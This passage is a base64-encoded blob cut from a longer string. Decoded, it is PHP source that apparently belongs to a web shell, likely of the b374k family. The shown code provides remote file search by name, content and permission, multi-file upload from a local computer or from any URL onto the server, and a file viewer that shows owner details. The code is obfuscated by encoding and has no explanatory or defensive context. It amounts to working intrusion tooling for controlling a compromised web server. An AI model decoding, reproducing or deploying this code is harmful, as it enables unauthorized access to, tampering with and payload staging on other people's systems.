ZSA9ICRzX3NyZWFkYWJsZSA9ICRzX3NleGVjdXRhYmxlID0gZmFsc2U7DQoNCgkJaWYoaXNzZXQoJF9HUFsnc2ZuYW1lcmVnZXgnXSkpeyAkc19zZm5hbWVyZWdleD10cnVlOyAkc19zZm5hbWVyZWdleGNoZWNrZWQ9ImNoZWNrZWQiOyB9DQoJCWlmKGlzc2V0KCRfR1BbJ3NmbmFtZWljYXNlJ10pKXsgJHNfc2ZuYW1laWNhc2U9dHJ1ZTsgJHNfc2ZuYW1laWNhc2VjaGVja2VkPSJjaGVja2VkIjsgfQ0KCQlpZihpc3NldCgkX0dQWydzZG5hbWVyZWdleCddKSl7ICRzX3NkbmFtZXJlZ2V4PXRydWU7ICRzX3NkbmFtZXJlZ2V4Y2hlY2tlZD0iY2hlY2tlZCI7IH0NCgkJaWYoaXNzZXQoJF9HUFsnc2RuYW1laWNhc2UnXSkpeyAkc19zZG5hbWVpY2FzZT10cnVlOyAkc19zZG5hbWVpY2FzZWNoZWNrZWQ9ImNoZWNrZWQiOyB9DQoJCWlmKGlzc2V0KCRfR1BbJ3NmY29udGFpbnJlZ2V4J10pKXsgJHNfc2Zjb250YWlucmVnZXg9dHJ1ZTsgJHNfc2Zjb250YWlucmVnZXhjaGVja2VkPSJjaGVja2VkIjsgfQ0KCQlpZihpc3NldCgkX0dQWydzZmNvbnRhaW5pY2FzZSddKSl7ICRzX3NmY29udGFpbmljYXNlPXRydWU7ICRzX3NmY29udGFpbmljYXNlY2hlY2tlZD0iY2hlY2tlZCI7IH0NCgkJaWYoaXNzZXQoJF9HUFsnc3dyaXRhYmxlJ10pKXsgJHNfc3dyaXRhYmxlPXRydWU7ICRzX3N3cml0YWJsZWNoZWNrZWQ9ImNoZWNrZWQiOyB9DQoJCWlmKGlzc2V0KCRfR1BbJ3NyZWFkYWJsZSddKSl7ICRzX3NyZWFkYWJsZT10cnVlOyAkc19zcmVhZGFibGVjaGVja2VkPSJjaGVja2VkIjsgfQ0KCQlpZihpc3NldCgkX0dQWydzZXhlY3V0YWJsZSddKSl7ICRzX3NleGVjdXRhYmxlPXRydWU7ICRzX3NleGVjdXRhYmxlY2hlY2tlZD0iY2hlY2tlZCI7IH0NCg0KCQkkc19zZXhlY2IgPSAoZnVuY3Rpb25fZXhpc3RzKCJpc19leGVjdXRhYmxlIikpPyAiPGlucHV0IGNsYXNzPSdjc3MtY2hlY2tib3gnIHR5cGU9J2NoZWNrYm94JyBuYW1lPSdzZXhlY3V0YWJsZScgdmFsdWU9J3NleGVjdXRhYmxlJyBpZD0nc2UnICIuJHNfc2V4ZWN1dGFibGVjaGVja2VkLiIgLz48bGFiZWwgY2xhc3M9J2Nzcy1sYWJlbCcgZm9yPSdzZSc+RXhlY3V0YWJsZTwvc3Bhbj4iOiIiOw0KDQoJCSRzX2NhbmRpZGF0ZSA9IGFycmF5KCk7DQoJCWlmKGlzc2V0KCRfR1BbJ3NnbyddKSl7DQoJCQkkc19hZiA9ICIiOw0KDQoJCQkkc19jYW5kaWRhdGUgPSBnZXRhbGxmaWxlcygkc19wKTsNCgkJCWlmKCRzX3R5cGU9PSdzZmlsZScpICRzX2NhbmRpZGF0ZSA9IEBhcnJheV9maWx0ZXIoJHNfY2FuZGlkYXRlLCAiaXNfZmlsZSIpOw0KCQkJZWxzZWlmKCRzX3R5cGU9PSdzZGlyJykgJHNfY2FuZGlkYXRlID0gQGFycmF5X2ZpbHRlcigkc19jYW5kaWRhdGUsICJpc19kaXIiKTsNCg0KCQkJZm9yZWFjaCgkc19jYW5kaWRhdGUgYXMgJHNfYSl7DQoJCQkJaWYoJHNfdHlwZT09J3NkaXInKXsNCgkJCQkJaWYoIWVtcHR5KCRzX3NkbmFtZSkpew0KCQkJCQkJaWYoJHNfc2RuYW1lcmVnZXgpew0KCQkJCQkJCWlmKCRzX3NkbmFtZWljYXNlKXtpZighcHJlZ19tYXRjaCgiLyIuJHNfc2RuYW1lLiIvaSIsIGJhc2VuYW1lKCRzX2EpKSkgJHNfY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkc19jYW5kaWRhdGUsIGFycmF5KCRzX2EpKTt9DQoJCQkJCQkJZWxzZXtpZighcHJlZ19tYXRjaCgiLyIuJHNfc2RuYW1lLiIvIiwgYmFzZW5hbWUoJHNfYSkpKSAkc19jYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRzX2NhbmRpZGF0ZSwgYXJyYXkoJHNfYSkpO30NCgkJCQkJCX0NCgkJCQkJCWVsc2V7DQoJCQkJCQkJaWYoJHNfc2RuYW1laWNhc2Upe2lmKHN0cnBvcyhzdHJ0b2xvd2VyKGJhc2VuYW1lKCRzX2EpKSwgc3RydG9sb3dlcigkc19zZG5hbWUpKT09PWZhbHNlKSAkc19jYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRzX2NhbmRpZGF0ZSwgYXJyYXkoJHNfYSkpO30NCgkJCQkJCQllbHNle2lmKHN0cnBvcyhiYXNlbmFtZSgkc19hKSwgJHNfc2RuYW1lKT09PWZhbHNlKSAkc19jYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRzX2NhbmRpZGF0ZSwgYXJyYXkoJHNfYSkpO30NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQllbHNlaWYoJHNfdHlwZT09J3NmaWxlJyl7DQoJCQkJCWlmKCFlbXB0eSgkc19zZm5hbWUpKXsNCgkJCQkJCWlmKCRzX3NmbmFtZXJlZ2V4KXsNCgkJCQkJCQlpZigkc19zZm5hbWVpY2FzZSl7aWYoIXByZWdfbWF0Y2goIi8iLiRzX3NmbmFtZS4iL2kiLCBiYXNlbmFtZSgkc19hKSkpICRzX2NhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJHNfY2FuZGlkYXRlLCBhcnJheSgkc19hKSk7fQ0KCQkJCQkJCWVsc2V7aWYoIXByZWdfbWF0Y2goIi8iLiRzX3NmbmFtZS4iLyIsIGJhc2VuYW1lKCRzX2EpKSkgJHNfY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkc19jYW5kaWRhdGUsIGFycmF5KCRzX2EpKTt9DQoJCQkJCQl9DQoJCQkJCQllbHNlew0KCQkJCQkJCWlmKCRzX3NmbmFtZWljYXNlKXtpZihzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkc19hKSksIHN0cnRvbG93ZXIoJHNfc2ZuYW1lKSk9PT1mYWxzZSkgJHNfY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkc19jYW5kaWRhdGUsIGFycmF5KCRzX2EpKTt9DQoJCQkJCQkJZWxzZXtpZihzdHJwb3MoYmFzZW5hbWUoJHNfYSksICRzX3NmbmFtZSk9PT1mYWxzZSkgJHNfY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkc19jYW5kaWRhdGUsIGFycmF5KCRzX2EpKTt9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJaWYoIWVtcHR5KCRzX3NmY29udGFpbikpew0KCQkJCQkJJHNfc2ZmY29udGVudCA9IEBmZ2MoJHNfYSk7DQoJCQkJCQlpZigkc19zZmNvbnRhaW5yZWdleCl7DQoJCQkJCQkJaWYoJHNfc2Zjb250YWluaWNhc2Upe2lmKCFwcmVnX21hdGNoKCIvIi4kc19zZmNvbnRhaW4uIi9pIiwgJHNfc2ZmY29udGVudCkpICRzX2NhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJHNfY2FuZGlkYXRlLCBhcnJheSgkc19hKSk7fQ0KCQkJCQkJCWVsc2V7aWYoIXByZWdfbWF0Y2goIi8iLiRzX3NmY29udGFpbi4iLyIsICAkc19zZmZjb250ZW50KSkgJHNfY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkc19jYW5kaWRhdGUsIGFycmF5KCRzX2EpKTt9DQoJCQkJCQl9DQoJCQkJCQllbHNlew0KCQkJCQkJCWlmKCRzX3NmY29udGFpbmljYXNlKXtpZihzdHJwb3Moc3RydG9sb3dlcigkc19zZmZjb250ZW50KSwgc3RydG9sb3dlcigkc19zZmNvbnRhaW4pKT09PWZhbHNlKSAkc19jYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRzX2NhbmRpZGF0ZSwgYXJyYXkoJHNfYSkpO30NCgkJCQkJCQllbHNle2lmKHN0cnBvcygkc19zZmZjb250ZW50LCAkc19zZmNvbnRhaW4pPT09ZmFsc2UpICRzX2NhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJHNfY2FuZGlkYXRlLCBhcnJheSgkc19hKSk7fQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoNCgkJJHNfZl9yZXN1bHQgPSAiIjsgJHNfbGluaz0iIjsNCgkJZm9yZWFjaCgkc19jYW5kaWRhdGUgYXMgJHNfYyl7DQoJCQkkc19jID0gdHJpbSgkc19jKTsNCgkJCWlmKCRzX3N3cml0YWJsZSAmJiAhQGlzX3dyaXRhYmxlKCRzX2MpKSBjb250aW51ZTsNCgkJCWlmKCRzX3NyZWFkYWJsZSAmJiAhQGlzX3JlYWRhYmxlKCRzX2MpKSBjb250aW51ZTsNCgkJCWlmKCRzX3NleGVjdXRhYmxlICYmICFAaXNfZXhlY3V0YWJsZSgkc19jKSkgY29udGludWU7DQoNCgkJCWlmKCRzX3R5cGU9PSJzZmlsZSIpICRzX2xpbmsgPSAkc19zZWxmLiJ2aWV3PSIucGwoJHNfYyk7DQoJCQllbHNlaWYoJHNfdHlwZT09InNkaXIiKSAkc19saW5rID0gJHNfc2VsZi4idmlldz0iLnBsKGNwKCRzX2MpKTsNCgkJCSRzX2ZfcmVzdWx0IC49ICI8cCBjbGFzcz0nbm90aWYnIG9uZGJsY2xpY2s9XCJyZXR1cm4gZ28oJyIuYWRkcygkc19saW5rKS4iJyxldmVudCk7XCI+PGEgaHJlZj0nIi4kc19saW5rLiInPiIuJHNfYy4iPC9hPjwvcD4iOw0KCQl9DQoNCgkJJHNfdHNkaXIgPSAoJHNfdHlwZT09InNkaXIiKT8gInNlbGVjdGVkIjoiIjsNCgkJJHNfdHNmaWxlID0gKCRzX3R5cGU9PSJzZmlsZSIpPyAic2VsZWN0ZWQiOiIiOw0KDQoJCWlmKCFAaXNfZGlyKCRzX3ApKSAkc19yZXN1bHQgLj0gbm90aWYoIkNhbm5vdCBmaW5kIHRoZSBwYXRoIHNwZWNpZmllZCAiLiRzX3ApOw0KDQoJCSRzX3Jlc3VsdCAuPSAiPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0Jz4NCgkJPGRpdiBjbGFzcz0nbXlib3gnPjxoMj5GaW5kPC9oMj4NCgkJPHRhYmxlIGNsYXNzPSdteWJveHRibCc+DQoJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0MHB4Oyc+U2VhcmNoIGluPC90ZD4NCgkJPHRkIGNvbHNwYW49JzInPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIHZhbHVlPSciLmhzcygkc19wKS4iJyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdmaW5kJyAvPjwvdGQ+PC90cj4NCgkJPHRyIG9uY2xpY2s9XCJmaW5kdHlwZSgnc2RpcicpO1wiPg0KCQkJPHRkPkRpcm5hbWUgY29udGFpbnM8L3RkPg0KCQkJPHRkIHN0eWxlPSd3aWR0aDo0MDBweDsnPjxpbnB1dCBjbGFzcz0naW5wdXR6JyBzdHlsZT0nd2lkdGg6MTAwJTsnIHR5cGU9J3RleHQnIG5hbWU9J3NkbmFtZScgdmFsdWU9JyIuaHNzKCRzX3NkbmFtZSkuIicgLz48L3RkPg0KCQkJPHRkPg0KCQkJCTxpbnB1dCB0eXBlPSdjaGVja2JveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgbmFtZT0nc2RuYW1lcmVnZXgnIGlkPSdzZG4nICIuJHNfc2RuYW1lcmVnZXhjaGVja2VkLiIgLz48bGFiZWwgY2xhc3M9J2Nzcy1sYWJlbCcgZm9yPSdzZG4nPlJlZ2V4IChwY3JlKTwvbGFiZWw+DQoJCQkJPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0nY3NzLWNoZWNrYm94JyBuYW1lPSdzZG5hbWVpY2FzZScgaWQ9J3NkaScgIi4kc19zZG5hbWVpY2FzZWNoZWNrZWQuIiAvPjxsYWJlbCBjbGFzcz0nY3NzLWxhYmVsJyBmb3I9J3NkaSc+Q2FzZSBJbnNlbnNpdGl2ZTwvbGFiZWw+DQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHIgb25jbGljaz1cImZpbmR0eXBlKCdzZmlsZScpO1wiPg0KCQkJPHRkPkZpbGVuYW1lIGNvbnRhaW5zPC90ZD4NCgkJCTx0ZCBzdHlsZT0nd2lkdGg6NDAwcHg7Jz48aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjEwMCU7JyB0eXBlPSd0ZXh0JyBuYW1lPSdzZm5hbWUnIHZhbHVlPSciLmhzcygkc19zZm5hbWUpLiInIC8+PC90ZD4NCgkJCTx0ZD4NCgkJCQk8aW5wdXQgdHlwZT0nY2hlY2tib3gnIGNsYXNzPSdjc3MtY2hlY2tib3gnIG5hbWU9J3NmbmFtZXJlZ2V4JyAgaWQ9J3NmbicgIi4kc19zZm5hbWVyZWdleGNoZWNrZWQuIiAvPjxsYWJlbCBjbGFzcz0nY3NzLWxhYmVsJyBmb3I9J3Nmbic+UmVnZXggKHBjcmUpPC9sYWJlbD4NCgkJCQk8aW5wdXQgdHlwZT0nY2hlY2tib3gnIGNsYXNzPSdjc3MtY2hlY2tib3gnIG5hbWU9J3NmbmFtZWljYXNlJyAgaWQ9J3NmaScgIi4kc19zZm5hbWVpY2FzZWNoZWNrZWQuIiAvPjxsYWJlbCBjbGFzcz0nY3NzLWxhYmVsJyBmb3I9J3NmaSc+Q2FzZSBJbnNlbnNpdGl2ZTwvbGFiZWw+DQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHIgb25jbGljaz1cImZpbmR0eXBlKCdzZmlsZScpO1wiPg0KCQkJPHRkPkZpbGUgY29udGFpbnM8L3RkPg0KCQkJPHRkIHN0eWxlPSd3aWR0aDo0MDBweDsnPjxpbnB1dCBjbGFzcz0naW5wdXR6JyBzdHlsZT0nd2lkdGg6MTAwJTsnIHR5cGU9J3RleHQnIG5hbWU9J3NmY29udGFpbicgdmFsdWU9JyIuaHNzKCRzX3NmY29udGFpbikuIicgLz48L3RkPg0KCQkJPHRkPg0KCQkJCTxpbnB1dCB0eXBlPSdjaGVja2JveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgbmFtZT0nc2Zjb250YWlucmVnZXgnIGlkPSdzZmYnICIuJHNfc2Zjb250YWlucmVnZXhjaGVja2VkLiIgLz48bGFiZWwgY2xhc3M9J2Nzcy1sYWJlbCcgZm9yPSdzZmYnPlJlZ2V4IChwY3JlKTwvbGFiZWw+DQoJCQkJPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0nY3NzLWNoZWNrYm94JyBuYW1lPSdzZmNvbnRhaW5pY2FzZScgaWQ9J3NmZmknICIuJHNfc2Zjb250YWluaWNhc2VjaGVja2VkLiIgLz48bGFiZWwgY2xhc3M9J2Nzcy1sYWJlbCcgZm9yPSdzZmZpJz5DYXNlIEluc2Vuc2l0aXZlPC9sYWJlbD4NCgkJCTwvdGQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0ZD5QZXJtaXNzaW9uczwvdGQ+DQoJCQk8dGQgY29sc3Bhbj0nMic+DQoJCQkJPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0nY3NzLWNoZWNrYm94JyBuYW1lPSdzd3JpdGFibGUnIGlkPSdzdycgIi4kc19zd3JpdGFibGVjaGVja2VkLiIgLz48bGFiZWwgY2xhc3M9J2Nzcy1sYWJlbCcgZm9yPSdzdyc+V3JpdGFibGU8L2xhYmVsPg0KCQkJCTxpbnB1dCB0eXBlPSdjaGVja2JveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgbmFtZT0nc3JlYWRhYmxlJyBpZD0nc3InICIuJHNfc3JlYWRhYmxlY2hlY2tlZC4iIC8+PGxhYmVsIGNsYXNzPSdjc3MtbGFiZWwnIGZvcj0nc3InPlJlYWRhYmxlPC9sYWJlbD4NCgkJCQkiLiRzX3NleGVjYi4iDQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHI+PHRkPg0KCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzZ28nIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdTZWFyY2ggIScgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjowOycgLz4NCgkJPC90ZD4NCgkJPHRkPg0KCQk8c2VsZWN0IG5hbWU9J3R5cGUnIGlkPSd0eXBlJyBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjA7cGFkZGluZzo0cHg7Jz4NCgkJCTxvcHRpb24gdmFsdWU9J3NmaWxlJyAiLiRzX3RzZmlsZS4iPlNlYXJjaCBmaWxlPC9vcHRpb24+DQoJCQk8b3B0aW9uIHZhbHVlPSdzZGlyJyAiLiRzX3RzZGlyLiI+U2VhcmNoIGRpcjwvb3B0aW9uPg0KCQk8L3NlbGVjdD4NCgkJPC90ZD4NCgkJPHRkPjwvdGQ+PC90cj4NCgkJPC90YWJsZT4NCgkJPC9kaXY+DQoJCTwvZm9ybT4NCgkJPGRpdj4NCgkJIi4kc19mX3Jlc3VsdC4iDQoJCTwvZGl2PiI7DQoJfSAvLyB1cGxvYWQNCgllbHNlaWYoaXNzZXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0ndXBsb2FkJykpew0KCQkkc19yZXN1bHQgPSAiICI7DQoJCSRzX21zZyA9ICIiOw0KCQlpZihpc3NldCgkX0dQWyd1cGxvYWRoZCddKSl7DQoJCQkkYyA9IGNvdW50KCRfRklMRVNbJ2ZpbGVwYXRoJ11bJ25hbWUnXSk7DQoJCQlmb3IoJGkgPSAwOyAkaTwkYzsgJGkrKyl7DQoJCQkJJHNfZm4gPSAkX0ZJTEVTWydmaWxlcGF0aCddWyduYW1lJ11bJGldOw0KCQkJCWlmKGVtcHR5KCRzX2ZuKSkgY29udGludWU7DQoJCQkJaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlcGF0aCddWyd0bXBfbmFtZSddWyRpXSkpew0KCQkJCQkkc19wID0gY3AoJF9HUFsnc2F2ZWZvbGRlciddWyRpXSk7DQoJCQkJCWlmKCFAaXNfZGlyKCRzX3ApKSBta2Rpcigkc19wKTsNCgkJCQkJaWYoaXNzZXQoJF9HUFsnc2F2ZWZpbGVuYW1lJ11bJGldKSAmJiAodHJpbSgkX0dQWydzYXZlZmlsZW5hbWUnXVskaV0pIT0iIikpICRzX2ZuID0gJF9HUFsnc2F2ZWZpbGVuYW1lJ11bJGldOw0KCQkJCQkkc190bSA9ICRfRklMRVNbJ2ZpbGVwYXRoJ11bJ3RtcF9uYW1lJ11bJGldOw0KCQkJCQkkc19waSA9IGNwKCRzX3ApLiRzX2ZuOw0KCQkJCQkkc19zdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHNfdG0sJHNfcGkpOw0KCQkJCQlpZigkc19zdCkgJHNfbXNnIC49IG5vdGlmKCJGaWxlIHVwbG9hZGVkIHRvIDxhIGhyZWY9JyIuJHNfc2VsZi4idmlldz0iLnBsKCRzX3BpKS4iJz4iLiRzX3BpLiI8L2E+Iik7DQoJCQkJCWVsc2UgJHNfbXNnIC49IG5vdGlmKCJGYWlsZWQgdG8gdXBsb2FkICIuJHNfZm4pOw0KCQkJCX0NCgkJCQllbHNlICRzX21zZyAuPSBub3RpZigiRmFpbGVkIHRvIHVwbG9hZCAiLiRzX2ZuKTsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoaXNzZXQoJF9HUFsndXBsb2FkdXJsJ10pKXsNCgkJCS8vIGZ1bmN0aW9uIGRsZmlsZSgkc191cmwsJHNfZnBhdGgpDQoJCQkkYyA9IGNvdW50KCRfR1BbJ2ZpbGV1cmwnXSk7DQoJCQlmb3IoJGkgPSAwOyAkaTwkYzsgJGkrKyl7DQoJCQkJJHNfZnUgPSAkX0dQWydmaWxldXJsJ11bJGldOw0KCQkJCWlmKGVtcHR5KCRzX2Z1KSkgY29udGludWU7DQoNCgkJCQkkc19wID0gY3AoJF9HUFsnc2F2ZWZvbGRlcnVybCddWyRpXSk7DQoJCQkJaWYoIUBpc19kaXIoJHNfcCkpIG1rZGlyKCRzX3ApOw0KDQoJCQkJJHNfZm4gPSBiYXNlbmFtZSgkc19mdSk7DQoJCQkJaWYoaXNzZXQoJF9HUFsnc2F2ZWZpbGVuYW1ldXJsJ11bJGldKSAmJiAodHJpbSgkX0dQWydzYXZlZmlsZW5hbWV1cmwnXVskaV0pIT0iIikpICRzX2ZuID0gJF9HUFsnc2F2ZWZpbGVuYW1ldXJsJ11bJGldOw0KCQkJCSRzX2ZwID0gY3AoJHNfcCkuJHNfZm47DQoJCQkJJHNfc3QgPSBkbGZpbGUoJHNfZnUsJHNfZnApOw0KCQkJCWlmKCRzX3N0KSAkc19tc2cgLj0gbm90aWYoIkZpbGUgdXBsb2FkZWQgdG8gPGEgaHJlZj0nIi4kc19zZWxmLiJ2aWV3PSIucGwoJHNfZnApLiInPiIuJHNfZnAuIjwvYT4iKTsNCgkJCQllbHNlICRzX21zZyAuPSBub3RpZigiRmFpbGVkIHRvIHVwbG9hZCAiLiRzX2ZuKTsNCgkJCX0NCgkJfQ0KCQllbHNlew0KCQkJaWYoIUBpc193cml0YWJsZSgkc19jd2QpKSAkc19tc2cgPSBub3RpZigiRGlyZWN0b3J5ICIuJHNfY3dkLiIgaXMgbm90IHdyaXRhYmxlLCBwbGVhc2UgY2hhbmdlIHRvIGEgd3JpdGFibGUgb25lIik7DQoJCX0NCg0KCQlpZighZW1wdHkoJHNfbXNnKSkgJHNfcmVzdWx0IC49ICRzX21zZzsNCgkJJHNfcmVzdWx0IC49ICINCgkJCTxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCQk8ZGl2IGNsYXNzPSdteWJveCc+PGgyPjxkaXYgY2xhc3M9J2J1dCcgb25jbGljaz0nYWRkdXBsb2FkYygpOyc+KzwvZGl2PlVwbG9hZCBmcm9tIGNvbXB1dGVyPC9oMj4NCgkJCTx0YWJsZSBjbGFzcz0nbXlib3h0YmwnPg0KCQkJPHRib2R5IGlkPSdhZGR1cGxvYWRjJz4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0MHB4Oyc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlcGF0aFtdJyBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6NDAwcHg7bWFyZ2luOjA7JyAvPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NhdmVmb2xkZXJbXScgdmFsdWU9JyIuaHNzKCRzX2N3ZCkuIicgLz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPkZpbGVuYW1lIChvcHRpb25hbCk8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdzYXZlZmlsZW5hbWVbXScgdmFsdWU9JycgLz48L3RkPjwvdHI+DQoJCQk8L3Rib2R5Pg0KCQkJPHRmb290Pg0KCQkJPHRyPjx0ZD4mbmJzcDs8L3RkPjx0ZD4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZGhkJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nVXBsb2FkICEnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7JyAvPg0KCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neCcgdmFsdWU9J3VwbG9hZCcgLz4NCgkJCTwvdGQ+PC90cj4NCgkJCTwvdGZvb3Q+DQoJCQk8L3RhYmxlPg0KCQkJPC9kaXY+DQoJCQk8L2Zvcm0+DQoJCQk8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPg0KCQkJPGRpdiBjbGFzcz0nbXlib3gnPjxoMj48ZGl2IGNsYXNzPSdidXQnIG9uY2xpY2s9J2FkZHVwbG9hZGkoKTsnPis8L2Rpdj5VcGxvYWQgZnJvbSBpbnRlcm5ldDwvaDI+DQoJCQk8dGFibGUgY2xhc3M9J215Ym94dGJsJz4NCgkJCTx0Ym9keSBpZD0nYWRkdXBsb2FkaSc+DQoJCQk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNTBweDsnPkZpbGUgVVJMPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZXVybFtdJyB2YWx1ZT0nJyAvPg0KCQkJPC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0nc2F2ZWZvbGRlcnVybFtdJyB2YWx1ZT0nIi5oc3MoJHNfY3dkKS4iJyAvPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+RmlsZW5hbWUgKG9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NhdmVmaWxlbmFtZXVybFtdJyB2YWx1ZT0nJyAvPjwvdGQ+PC90cj4NCgkJCTwvdGJvZHk+DQoJCQk8dGZvb3Q+DQoJCQk8dHI+PHRkPiZuYnNwOzwvdGQ+PHRkPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndXBsb2FkdXJsJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nVXBsb2FkICEnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7JyAvPg0KCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neCcgdmFsdWU9J3VwbG9hZCcgLz4NCgkJCTwvdGQ+PC90cj4NCgkJCTwvdGFibGU+DQoJCQk8L2Rpdj4NCgkJCTwvZm9ybT4iOw0KCX0gLy8gdmlldyBmaWxlDQoJZWxzZWlmKGlzc2V0KCRfR1BbJ3ZpZXcnXSkpew0KCQkkc19mID0gJF9HUFsndmlldyddOw0KCQlpZihpc3NldCgkc19mbmV3KSAmJiAodHJpbSgkc19mbmV3KSE9IiIpKSAkc19mID0gJHNfZm5ldzsNCg0KCQkkc19vd25lciA9ICIiOw0KCQlpZihAaXNfZmlsZSgkc19mKSl7DQoJCQkkdGFyZ2V0ZGlyID0gZGlybmFtZSgkc19mKTsNCgkJCWNoZGlyKCR0YXJnZXRkaXIpOw0KCQkJJHNfY3dkID0gY3AoZ2V0Y3dkKCkpOw0KCQkJc2V0Y29va2llKCJjd2QiLCAkc19jd2QgLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KDQoJCQlpZighJHNfd2luICYmICRzX3Bvc2l4KXsNCgkJCQkkc19uYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRzX2YpKTsNCgkJCQkkc19ncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkc19mKSk7DQoJCQkJJHNfb3duZXIgPSAiPHRyPjx0ZD5Pd25lcjwvdGQ+PHRkPiIuJHNfbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz0nZ2F5YSc+Ojwvc3Bhbj4iLiRzX2dyb3VwWyduYW1lJ10uIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJJHNfZmlsbiA9IGJhc2VuYW1lKCRzX2YpOw0KCQkJJHNfcmVzdWx0IC49ICI8dGFibGUgY2xhc3M9J3ZpZXdmaWxlJyBzdHlsZT0nd2lkdGg6MTAwJTsnPg0KCQkJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQwcHg7Jz5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNzKCRzX2ZpbG4pLiJfbGluayc+Ii4kc19mLiI8L3NwYW4+DQoJCQk8ZGl2IGlkPSciLmNzKCRzX2ZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJz4NCgkJCTxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nb2xkbmFtZScgdmFsdWU9JyIuaHNzKCRzX2YpLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPg0KCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3ZpZXcnI